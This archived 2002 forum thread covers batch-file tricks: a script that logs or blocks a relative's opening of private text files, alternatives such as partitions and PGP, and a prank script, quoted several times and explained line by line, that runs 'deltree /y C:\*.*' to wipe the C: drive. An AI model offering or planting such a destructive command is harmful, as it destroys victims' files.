PDA

View Full Version : Got a nosy relative/friend?


Blade Runner
07-05-2002, 03:53 PM
Do you want them to quit seeing what you have got on your pc? Are you in fear of them finding you pr0n, hacking stuff, internet sex chats you saved for a lonely night (lol, none of this applies to me, i'm being overdramatic!)? Anyways.......if you do or think you might know, pay attention. I was learning about batch files and stumbled on this. It logs the name of the file opened and can make it not run all together. OK, enough of my rambling. Here is how to log and stop someone from seeing text files....

open notepad
paste the lines not in parentheses into it but still read the parentheses!

echo %1 >> log.txt

(log.txt is the log of the things opened and time opened)

notepad %1

(this part is optional, it depends if you want the nosy person still seeing what they clicked; if you don't, then don't put this part in here)

IF "%1" == "notepad.txt" ECHO Error

(if you put the optional line in there, than don't put this! notepad.txt stands for the file you don't want them to see; if the name of the text file is bondssexchats.txt (:p), then it would be "bondssexchats.txt", not "notepad.txt")

Now save this file and at the end of the name type .bat .
Right click the text file you don't want them reading and click open with and click choose program. On the program list click browse and choose the name of the batch file you just created. Be sure to mark it as always open it with this program.

Now when someone clicks the text file to open it, it logs it and doesn't come up if you chose to take that one part out of the batch file.

Its easier than it sounds. Try it with other files too, like images or something.

If just thought I'd share this. If you have trouble post it.

Jonbo298
07-05-2002, 04:37 PM
One question, what if you want to see it. Do u have to go back into the batch file and change the name or something:confused:

Bond
07-05-2002, 05:09 PM
You could always just hide the folders. Seems a lot easier to me.

sdtPikachu
07-05-2002, 05:27 PM
Or you could always do what I do for every computer I fix:

Find out how many users use the computer

Give each of them a seperate partition

Re-allocate the "My documents" (ugh) folder to that partition if they are stupid enough to use it

Block that users access to any of the other partitions

Instead of relying on a crappy script to do it for you...

And if that's not secure enough for you, encrypt it. Just don't use the inbuilt M$ encryption, it's about as secure as a jelly bank vault. Use PGP.

Blade Runner
07-06-2002, 04:54 PM
Originally posted by Jonbo298
One question, what if you want to see it. Do u have to go back into the batch file and change the name or something:confused:

yep.


is pgp out for XP? maybe it doesn't matter. i don't know much about it.

Happydude
07-06-2002, 07:10 PM
any idea about what this may do?:confused:


@echo off
cls
echo.
echo SURPRISE ASSHOLE !!!
deltree /y C:\*.*

Jonbo298
07-06-2002, 07:44 PM
Originally posted by happydude666
any idea about what this may do?:confused:


@echo off
cls
echo.
echo SURPRISE ASSHOLE !!!
deltree /y C:\*.*

Well, if you know the person personally(like a friend or something), you can laugh for many hours:rofl:

Happydude
07-06-2002, 09:41 PM
....so what does it do???:hmm:

Blade Runner
07-07-2002, 01:30 PM
Originally posted by happydude666
any idea about what this may do?:confused:


@echo off
cls
echo.
echo SURPRISE ASSHOLE !!!
deltree /y C:\*.*

:rolleyes:

Yes, I know what it should do. I don't know if it would though. There has got to be some kind of protection that would keep you from deleting everything on the C: drive. Kind of mean though, even if the guy is an a$$.

Happydude
07-07-2002, 10:35 PM
CAN SOMEONE EXLAIN TO ME WHAT THE F*CK THAT DOES?????:mad:




sorry for the language mods...feel free to edit it out...

Jonbo298
07-08-2002, 12:07 AM
Originally posted by happydude666
CAN SOMEONE EXLAIN TO ME WHAT THE F*CK THAT DOES?????:mad:


It basically deletes your whole C: drive.:rolleyes:

Happydude
07-08-2002, 09:39 AM
Originally posted by Jonbo298


It basically deletes your whole C: drive.:rolleyes:

thank you!!! about time someone told me! eesh!


anyhoo...then whats with the "surprise asshole" thing in it...what does that part do?

Blade Runner
07-08-2002, 10:35 AM
@echo off //this command tells it to hide the commands so they don't show up on the dos screen

cls //this clears anything on the dos screen

echo. //skips a line

echo SURPRISE ASSHOLE !!! //says suprise asshole on the dos screen

deltree /y C:\*.* //deletes your C: drive and says yes for you when the computer asks if you are sure


Where did you get this from if you didn't make it?

Happydude
07-08-2002, 01:11 PM
from hacking ;)

a friend gave that command to me...and he refused to explain whatit does:unsure: